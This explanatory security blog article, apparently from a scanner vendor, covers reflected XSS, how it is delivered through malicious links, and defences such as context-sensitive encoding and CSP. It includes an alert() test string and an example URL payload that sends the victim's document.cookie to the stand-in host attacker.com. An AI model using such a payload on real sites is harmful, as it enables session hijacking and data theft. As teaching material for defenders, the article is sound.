What is Reflected XSS and How to Prevent It

Non-persistent XSS, also called reflected XSS, is the most basic type of cross-site scripting vulnerability. A vulnerable web application displays unvalidated input received from the user’s browser and executes any JavaScript code it contains. Let’s see why this XSS vulnerability is possible and what you can do to prevent it.

What is Reflected XSS and How to Prevent It

Cross-Site Scripting 101: Types of XSS Attacks

Cross-site scripting (XSS) vulnerabilities can be divided into 3 broad categories, as discussed in detail in our overview article What is cross-site scripting:

  • Non-persistent (reflected) XSS: Malicious JavaScript sent in the client request is echoed back in HTML code sent by the server and executed by the victim’s browser.
  • Persistent (stored) XSS: Malicious JavaScript is stored in server-side content (for example, in a comment database) and executed every time a user’s browser loads it.
  • DOM-based (client-side) XSS: An indirect attack where the server’s HTTP response doesn’t include the actual malicious script. Instead, the browser is instructed to insert malicious code into its DOM structure and only then is the JavaScript executed.

How Non-Persistent XSS Works

Taking a common example, imagine you have a search engine on your website. The user types a search string, such as reflected XSS, and the web server returns a page with the heading You searched for reflected XSS, followed by the search results. Quite often, the search string is directly included in the URL as a query parameter, which makes this type of attack much easier. Error pages are another place where user inputs are often echoed directly.

If the server fails to properly encode user inputs, an attacker might search for a string such as <script>alert('Vulnerable to XSS!')</script>. This JavaScript will be sent back (reflected) to the browser as part of the web page code and executed to display an alert that confirms the vulnerability exists. Attackers can then inject arbitrary JavaScript to redirect the user to a malicious site, steal session cookies, extract private information, and perform many other attacks.

Here’s a more realistic attack payload:

http://www.example.com/search.php?q=<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>

If the targeted search functionality directly echoes the search query in the results page, it will execute the injected script, causing a redirect to attacker.com and sending the user’s current cookie value to the attacker.

This type of cross-site scripting attack requires the user to send an HTTP request containing the attack payload, so malicious links are the main vector for reflected XSS attacks. These can be distributed by e-mail or on social media, or simply published on a website under an enticing name in the hope that users will click them. Attackers often use URL shortening services to hide the link content from victims. With a bit of social engineering, users can thus be tricked into visiting malicious URLs.

Preventing Reflected XSS Attacks

Cross-site scripting is one of the fundamental vulnerability types in modern web application security, so there are plenty of tools and resources to help you protect against it. As with other injection attacks, careful input validation and context-sensitive encoding provide the first line of defense against reflected XSS. The “context-sensitive” part is where the real pitfalls are, because the details of safe encoding vary depending on where in the source code you are inserting the input data. For an in-depth discussion, see the OWASP Cross-Site Scripting Prevention Cheat Sheet and OWASP guide to Testing for Reflected Cross-Site Scripting.

Filtering inputs by blacklisting certain strings and characters is not an effective defense and is not recommended. This is why XSS filters are no longer used in modern browsers. For an in-depth defense against cross-site scripting and many other attacks, carefully configured Content-Security Policy (CSP) headers are the recommended approach.

The vast majority of cross-site scripting attempts, including non-persistent XSS, can be detected by a modern vulnerability testing solution. Invicti finds many types of XSS, from basic reflected XSS to more sophisticated attacks like DOM-based and blind XSS, and provides detailed recommendations about suitable remedies.

Zbigniew Banach

About the Author

Zbigniew Banach - Technical Content Lead & Managing Editor

Cybersecurity writer and blog managing editor at Invicti Security. Drawing on years of experience with security, software development, content creation, journalism, and technical translation, he does his best to bring web application security and cybersecurity in general to a wider audience.